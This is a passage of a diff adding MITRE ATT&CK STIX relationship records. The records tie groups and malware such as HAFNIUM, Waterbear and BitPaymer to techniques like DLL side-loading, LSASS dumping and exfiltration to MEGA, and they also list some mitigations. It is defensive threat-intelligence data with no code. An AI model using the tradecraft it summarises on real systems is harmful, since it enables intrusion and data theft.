"uses", + "id": "relationship--93741cce-12ce-4cc0-9fa6-5db7d8a1309a", + "type": "relationship", + "modified": "2021-03-03T18:57:21.407Z", + "created": "2021-03-03T18:57:21.407Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--f3f1fbed-7e29-49cb-8579-4a378f858deb", + "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "external_references": [ + { + "source_name": "Trend Micro Waterbear December 2019", + "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html", + "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. Retrieved February 22, 2021." + } + ], + "description": "[Waterbear](https://attack.mitre.org/software/S0579) has used DLL side loading to import and load a malicious DLL loader.(Citation: Trend Micro Waterbear December 2019) ", + "relationship_type": "uses", + "id": "relationship--44bbd0e1-acdf-458c-934c-a64e8a7a371c", + "type": "relationship", + "modified": "2021-03-03T18:57:21.413Z", + "created": "2021-03-03T18:57:21.413Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "external_references": [ + { + "source_name": "Microsoft HAFNIUM March 2020", + "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021." + }, + { + "source_name": "Volexity Exchange Marauder March 2021", + "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021." + }, + { + "source_name": "FireEye Exchange Zero Days March 2021", + "url": "https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html", + "description": "Bromiley, M. et al. (2021, March 4). Detection and Response to Exploitation of Microsoft Exchange Zero-Day Vulnerabilities. Retrieved March 9, 2021." + } + ], + "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has exploited CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 to compromise on-premises versions of Microsoft Exchange Server, enabling access to email accounts and installation of additional malware.(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)(Citation: FireEye Exchange Zero Days March 2021)", + "relationship_type": "uses", + "id": "relationship--e8e6f472-e048-401c-8a2e-5e2effc09040", + "type": "relationship", + "modified": "2021-04-19T17:50:00.273Z", + "created": "2021-03-03T19:53:18.996Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", + "target_ref": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54", + "external_references": [ + { + "source_name": "Microsoft HAFNIUM March 2020", + "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021." + } + ], + "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has acquired web services for use in C2 and exfiltration.(Citation: Microsoft HAFNIUM March 2020)", + "relationship_type": "uses", + "id": "relationship--079eaba3-fdea-4551-b126-6e824136e6f5", + "type": "relationship", + "modified": "2021-03-03T20:15:51.507Z", + "created": "2021-03-03T20:11:21.884Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "Microsoft HAFNIUM March 2020", + "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021." + } + ], + "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has used open-source C2 frameworks, including Covenant.(Citation: Microsoft HAFNIUM March 2020)", + "relationship_type": "uses", + "id": "relationship--dca36cf3-4501-4682-9d3e-df148b46792e", + "type": "relationship", + "modified": "2021-04-19T17:50:00.251Z", + "created": "2021-03-03T20:11:21.892Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", + "target_ref": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b", + "external_references": [ + { + "source_name": "Microsoft HAFNIUM March 2020", + "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021." + } + ], + "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has exfiltrated data to file sharing sites, including MEGA.(Citation: Microsoft HAFNIUM March 2020)", + "relationship_type": "uses", + "id": "relationship--80efda4a-36a7-4b59-9f70-72f4952e2140", + "type": "relationship", + "modified": "2021-04-19T17:50:00.310Z", + "created": "2021-03-03T20:15:51.487Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", + "target_ref": "attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c", + "external_references": [ + { + "source_name": "Microsoft HAFNIUM March 2020", + "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021." + } + ], + "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has interacted with Office 365 tenants to gather details regarding target's environments.(Citation: Microsoft HAFNIUM March 2020)", + "relationship_type": "uses", + "id": "relationship--02c3ea88-c33c-47d8-a34a-532ed5498a3d", + "type": "relationship", + "modified": "2021-03-03T20:20:35.804Z", + "created": "2021-03-03T20:20:35.804Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", + "target_ref": "attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795", + "external_references": [ + { + "source_name": "Microsoft HAFNIUM March 2020", + "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021." + } + ], + "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has operated from leased virtual private servers (VPS) in the United States.(Citation: Microsoft HAFNIUM March 2020)", + "relationship_type": "uses", + "id": "relationship--fedcb717-2453-4c77-8f05-8a28f934725e", + "type": "relationship", + "modified": "2021-03-03T20:22:59.518Z", + "created": "2021-03-03T20:22:59.518Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", + "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", + "external_references": [ + { + "source_name": "CISA AppleJeus Feb 2021", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021." + } + ], + "description": "[AppleJeus](https://attack.mitre.org/software/S0584) can install itself as a service.(Citation: CISA AppleJeus Feb 2021) ", + "relationship_type": "uses", + "id": "relationship--3503cf12-e618-44b9-ac48-e1f1d7939767", + "type": "relationship", + "modified": "2021-03-03T20:26:15.777Z", + "created": "2021-03-03T20:26:15.777Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", + "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", + "external_references": [ + { + "source_name": "CISA AppleJeus Feb 2021", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021." + } + ], + "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has used a valid digital signature from Sectigo to appear legitimate.(Citation: CISA AppleJeus Feb 2021) ", + "relationship_type": "uses", + "id": "relationship--562d2865-7133-4cdb-b280-c90105b0a118", + "type": "relationship", + "modified": "2021-03-03T20:26:15.800Z", + "created": "2021-03-03T20:26:15.800Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", + "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", + "external_references": [ + { + "source_name": "Microsoft HAFNIUM March 2020", + "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021." + }, + { + "source_name": "Volexity Exchange Marauder March 2021", + "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021." + }, + { + "source_name": "FireEye Exchange Zero Days March 2021", + "url": "https://www.fireeye.com/blog/threat-research/2021/03/detection-response-to-exploitation-of-microsoft-exchange-zero-day-vulnerabilities.html", + "description": "Bromiley, M. et al. (2021, March 4). Detection and Response to Exploitation of Microsoft Exchange Zero-Day Vulnerabilities. Retrieved March 9, 2021." + } + ], + "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has deployed multiple web shells on compromised servers including SIMPLESEESHARP, SPORTSBALL, [China Chopper](https://attack.mitre.org/software/S0020), and [ASPXSpy](https://attack.mitre.org/software/S0073).(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)(Citation: FireEye Exchange Zero Days March 2021)", + "relationship_type": "uses", + "id": "relationship--746c3746-a4e3-4fcb-849c-a1646e48a1bf", + "type": "relationship", + "modified": "2021-03-09T16:09:27.967Z", + "created": "2021-03-03T20:27:49.262Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", + "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", + "external_references": [ + { + "source_name": "Microsoft HAFNIUM March 2020", + "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021." + }, + { + "source_name": "Volexity Exchange Marauder March 2021", + "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021." + } + ], + "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has used procdump to dump the LSASS process memory.(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)", + "relationship_type": "uses", + "id": "relationship--467d9812-8d19-4fca-a2fd-5a8e1dbb43f7", + "type": "relationship", + "modified": "2021-04-19T17:50:00.308Z", + "created": "2021-03-03T20:31:09.249Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "target_ref": "attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a", + "relationship_type": "mitigates", + "description": "Use anti-spoofing and email authentication mechanisms to filter messages based on validity checks of the sender domain (using SPF) and integrity of messages (using DKIM). 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Retrieved October 19, 2020." + } + ], + "type": "relationship", + "modified": "2021-04-15T03:40:20.623Z", + "created": "2021-03-03T21:55:40.603Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "target_ref": "attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc", + "relationship_type": "mitigates", + "description": "Use anti-spoofing and email authentication mechanisms to filter messages based on validity checks of the sender domain (using SPF) and integrity of messages (using DKIM). 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Retrieved October 19, 2020." + } + ], + "type": "relationship", + "modified": "2021-04-15T03:41:33.717Z", + "created": "2021-03-03T21:58:17.829Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "target_ref": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230", + "relationship_type": "mitigates", + "description": "Use anti-spoofing and email authentication mechanisms to filter messages based on validity checks of the sender domain (using SPF) and integrity of messages (using DKIM). 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Retrieved October 19, 2020." + } + ], + "type": "relationship", + "modified": "2021-04-15T03:42:26.921Z", + "created": "2021-03-03T21:59:40.453Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021." + } + ], + "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can use the RegEnumKeyW to iterate through Registry keys.(Citation: Crowdstrike Indrik November 2018) ", + "relationship_type": "uses", + "id": "relationship--7d71658b-2b9f-4639-9fe7-7c7924b52ff7", + "type": "relationship", + "modified": "2021-04-20T02:41:22.121Z", + "created": "2021-03-03T22:12:11.709Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", + "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", + "external_references": [ + { + "source_name": "Microsoft HAFNIUM March 2020", + "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", + "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021." + }, + { + "source_name": "Volexity Exchange Marauder March 2021", + "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. 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HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021." + }, + { + "source_name": "Volexity Exchange Marauder March 2021", + "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. 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(2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021." + }, + { + "source_name": "Volexity Exchange Marauder March 2021", + "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021." + } + ], + "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has used 7-Zip and WinRAR to compress stolen files for exfiltration.(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)", + "relationship_type": "uses", + "id": "relationship--0b7dfe49-d8c3-46d8-84ed-bf1898638ac3", + "type": "relationship", + "modified": "2021-03-04T14:47:27.418Z", + "created": "2021-03-04T14:15:16.145Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", + "target_ref": "attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262", + "external_references": [ + { + "source_name": "Volexity Exchange Marauder March 2021", + "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021." + } + ], + "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has collected e-mail addresses for users they intended to target.(Citation: Volexity Exchange Marauder March 2021)", + "relationship_type": "uses", + "id": "relationship--76bef74f-4820-4838-b56e-b59ae71ac170", + "type": "relationship", + "modified": "2021-03-04T14:23:52.803Z", + "created": "2021-03-04T14:23:52.803Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", + "target_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", + "external_references": [ + { + "source_name": "Volexity Exchange Marauder March 2021", + "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021." + } + ], + "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has stolen copies of the Active Directory database (NTDS.DIT).(Citation: Volexity Exchange Marauder March 2021)", + "relationship_type": "uses", + "id": "relationship--d1197689-ff2e-4a0e-ad1e-69bb14c8822d", + "type": "relationship", + "modified": "2021-03-04T14:23:52.806Z", + "created": "2021-03-04T14:23:52.806Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", + "target_ref": "attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109", + "external_references": [ + { + "source_name": "Volexity Exchange Marauder March 2021", + "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "description": "Gruzweig, J. et al. (2021, March 2). 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Retrieved March 9, 2021." + } + ], + "description": "(Citation: Volexity Exchange Marauder March 2021)(Citation: FireEye Exchange Zero Days March 2021)", + "relationship_type": "uses", + "id": "relationship--951774ce-173c-4aaf-a6e3-515ba497d523", + "type": "relationship", + "modified": "2021-03-09T16:23:54.697Z", + "created": "2021-03-04T14:47:27.385Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", + "target_ref": "malware--56f46b17-8cfa-46c0-b501-dd52fef394e2", + "external_references": [ + { + "source_name": "Volexity Exchange Marauder March 2021", + "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021." + } + ], + "description": "(Citation: Volexity Exchange Marauder March 2021)", + "relationship_type": "uses", + "id": "relationship--41561c6a-7749-4607-a8d1-c094631b4aaa", + "type": "relationship", + "modified": "2021-03-04T14:47:27.401Z", + "created": "2021-03-04T14:47:27.401Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "external_references": [ + { + "source_name": "Volexity Exchange Marauder March 2021", + "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021." + } + ], + "description": "(Citation: Volexity Exchange Marauder March 2021)", + "relationship_type": "uses", + "id": "relationship--577f5fe4-3fb4-4969-a5a4-5b7c1bc693a8", + "type": "relationship", + "modified": "2021-03-04T14:47:27.407Z", + "created": "2021-03-04T14:47:27.407Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", + "target_ref": "attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177", + "external_references": [ + { + "source_name": "Volexity Exchange Marauder March 2021", + "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021." + } + ], + "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has created and granted privileges to domain accounts.(Citation: Volexity Exchange Marauder March 2021)", + "relationship_type": "uses", + "id": "relationship--d814a304-f957-4e7c-9890-30a6d5be39bd", + "type": "relationship", + "modified": "2021-03-04T14:49:27.358Z", + "created": "2021-03-04T14:49:27.358Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "external_references": [ + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021." + } + ], + "description": "[BitPaymer](https://attack.mitre.org/software/S0570) can set values in the Registry to help in execution.(Citation: Crowdstrike Indrik November 2018) ", + "relationship_type": "uses", + "id": "relationship--e811f6e8-a736-4bb8-8cd9-c6edc9a7ebd8", + "type": "relationship", + "modified": "2021-03-04T17:05:02.559Z", + "created": "2021-03-04T17:05:02.559Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--38863958-a201-4ce1-9dbe-539b0b6804e0", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "external_references": [ + { + "source_name": "Securelist Machete Aug 2014", + "url": "https://securelist.com/el-machete/66108/", + "description": "Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019." + } + ], + "description": "[Machete](https://attack.mitre.org/groups/G0095) has distributed [Machete](https://attack.mitre.org/software/S0409) through a fake blog website.(Citation: Securelist Machete Aug 2014)", + "relationship_type": "uses", + "id": "relationship--bb2be1f4-f2fc-4029-8ee6-e89f52210dfd", + "type": "relationship", + "modified": "2021-03-04T19:51:08.302Z", + "created": "2021-03-04T19:51:08.302Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", + "target_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "description": "(Citation: ClearSky Wilted Tulip July 2017)", + "relationship_type": "uses", + "id": "relationship--fe46e6be-a008-490a-b0b1-243b8445824e", + "type": "relationship", + "modified": "2021-03-04T21:59:44.537Z", + "created": "2021-03-04T21:59:44.537Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "external_references": [ + { + "source_name": "Cycraft Chimera April 2020", + "url": "https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf", + "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020." + } + ], + "description": "[Chimera](https://attack.mitre.org/groups/G0114) has performed file deletion to evade detection.(Citation: Cycraft Chimera April 2020) ", + "relationship_type": "uses", + "id": "relationship--a33d759f-6106-4e67-9452-72b684ab209a", + "type": "relationship", + "modified": "2021-03-04T22:05:10.085Z", + "created": "2021-03-04T22:05:10.085Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "target_ref": "attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", + "relationship_type": "mitigates", + "description": "Use anti-spoofing and email authentication mechanisms to filter messages based on validity checks of the sender domain (using SPF) and integrity of messages (using DKIM). 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Retrieved October 19, 2020." + } + ], + "type": "relationship", + "modified": "2021-04-01T16:19:55.537Z", + "created": "2021-03-04T22:41:33.423Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "relationship_type": "mitigates", + "description": "Use anti-spoofing and email authentication mechanisms to filter messages based on 